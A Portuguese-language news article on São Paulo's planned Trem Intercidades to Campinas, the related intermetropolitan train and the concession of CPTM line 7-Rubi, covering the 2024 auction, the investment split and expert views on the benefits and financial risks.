Entusiasmo e incertezas sobre trilhos

São Paulo pode dar o pontapé com o primeiro trem de média velocidade do Brasil, mas terá grandes desafios para a conclusão do projeto

Por Igor Shimabukuro

Passado o fim do primeiro bimestre de 2024, três projetos de mobilidade urbana agora figuram no horizonte do estado de São Paulo: o Trem Intercidades Eixo Norte (TIC), que interligará São Paulo a Campinas; a implantação do Trem Intermetropolitano (TIM) entre Campinas e Jundiaí; e a privatização da linha 7-Rubi, atualmente operada pela Companhia Paulista de Trens Metropolitanos (CPTM).

O sinal verde para todas essas obras foi dado em 29 de fevereiro, em leilão na B3, quando o consórcio C2 Mobilidade Sobre Trilhos — formado pela brasileira Comporte e pela chinesa CRRC — ofereceu o lance mínimo de 0,01% de desconto na contraprestação que será paga pelo governo, cujo teto era de R$ 8 bilhões. Com o martelo batido, a C2 garantiu a concessão para explorar o serviço por 30 anos.

O total de investimentos gira em torno de R$ 14,2 bilhões, mas, desse montante, o consórcio vai aportar apenas cerca de R$ 5,2 bilhões, já que se trata de uma parceria público-privada (PPP). O estado de São Paulo ficará com a maior fatia e investirá R$ 8,98 bilhões — R$ 6,4 bilhões via BNDES. Além disso, o governo também garantiu 90% das receitas projetadas no edital.

Dos três projetos, o TIC é o de maior destaque, porque prevê um trajeto de 101 km entre Campinas e São Paulo — com parada em Jundiaí — por meio do primeiro trem de média velocidade do Brasil. No sentido prioritário, o trem deve alcançar velocidade máxima de 140 km/h e fazer o percurso em 64 minutos, enquanto a viagem no sentido não prioritário deve demorar 75 minutos. Se tudo der certo, as obras deverão ser concluídas em 2031.

Para 2029, está programada a finalização do TIM, que compartilhará trilhos do TIC e promete interligar Campinas a Jundiaí com paradas em Valinhos, Vinhedo e Louveira. Já no curto prazo, a C2 terá 18 meses após a assinatura do contrato para de fato assumir a operação da linha 7-Rubi. Apesar de melhorias estarem na programação, vale mencionar que o serviço deixará de atender às estações Luz e Brás, passando a terminar na Barra Funda. Governo e CPTM argumentam a saturação da Estação da Luz.

Boas perspectivas

Prazos à parte, é compreensível o entusiasmo em torno do megaprojeto. O TIC tem sido cobiçado por diversos governos de São Paulo na última década, além de trazer o sentimento de “resgate ferroviário” para a população, o que pode pavimentar caminho para outros projetos semelhantes.

Como aponta o diretor da FGV Transportes e mestre em Transportes, Marcus Quintella, interligar duas das três maiores metrópoles do estado cria mais uma alternativa de mobilidade urbana entre as cidades e fortalece toda a economia no entorno das regiões. 

“Com a premissa do sucesso do projeto, torna-se inevitável o poder de desenvolvimento econômico de uma ferrovia. Ela traz desenvolvimento urbano e imobiliário nas regiões das estações, pagamento de impostos, geração de emprego e de comércio”, destaca o executivo. “O dinamismo dessa região vai ser muito importante. Inclusive, Campinas pode funcionar como uma ‘cidade-dormitório’ de São Paulo”, acrescenta.

O governo de Tarcísio de Freitas também endossa essa ideia, com estimativas de geração de mais de 10,5 mil empregos diretos, indiretos e induzidos, sem contar a previsão aproximada de 15 milhões de pessoas em 11 municípios que podem vir a ser beneficiadas.

No âmbito sustentável, o aumento da mobilidade ferroviária poderia encolher a frota de carros em circulação, o que causaria a diminuição de tráfegos intensos e, consequentemente, da poluição sonora. A emissão de carbono também tenderia a reduzir drasticamente. Estudos da International Energy Agency (IEA) apontam que um trem gera cerca de 87% menos CO2 por passageiro comparado a um carro.

Cautela

Analisando a modelagem adotada, dois pontos chamam atenção. O primeiro deles é o fato de que o governo se comprometeu a arcar com cerca de dois terços do investimento. Para Quintella, foi a forma que o estado encontrou para atrair o investidor, visto que “o projeto não seria viável somente com o dinheiro público ou apenas com o investimento privado”.

Mas, de acordo com o tecnólogo em Transporte Terrestre e pesquisador do Sistema de Transporte Público da Cidade de São Paulo, Thiago Silva, a responsabilidade assumida pelo estado desconsiderou contratempos.

“Na modelagem anterior, o governo iria arcar com cerca de 50%, algo muito mais justo. Agora, qualquer adversidade que atrase a obra obrigará o governo a fazer reequilíbrios financeiros, da mesma forma como acontece nas linhas de metrô concedidas. Se problemas maiores acontecerem, o projeto vai atrasar e, mais do que isso, terá seu custo elevado, tornando-se completamente insustentável. A futura concessionária irá pleitear novos reequilíbrios, podendo estourar o caixa do governo”, explica Silva.

O preço do TIC também é motivo de discussão. Diante da estimativa de que uma passagem custará R$ 64, uma viagem de ida e volta chegaria a R$ 128. Se uma família ou colegas de trabalho que moram próximos fizessem o mesmo trajeto, seria mais vantajoso dividir os custos em uma viagem de carro, por exemplo.

Não menos importante, a perda das estações Brás e Luz da linha 7-Rubi deve trazer grandes impactos, já que o trecho integra muitas linhas e tem fluxo intenso.

Por ora, por tratar-se de algo ainda muito embrionário, todas as discussões permeiam o campo das previsões.

Para êxito no projeto, Quintella aponta o cumprimento de prazos e do programa financeiro. Já Silva cita o comprometimento das responsabilidades de cada parte e um “contrato amarrado” para evitar alterações de futuros governos ou mudanças de rumo da concessionária.

*PARA INFOGRÁFICO*

Créditos: Secretaria de Parcerias em Investimentos

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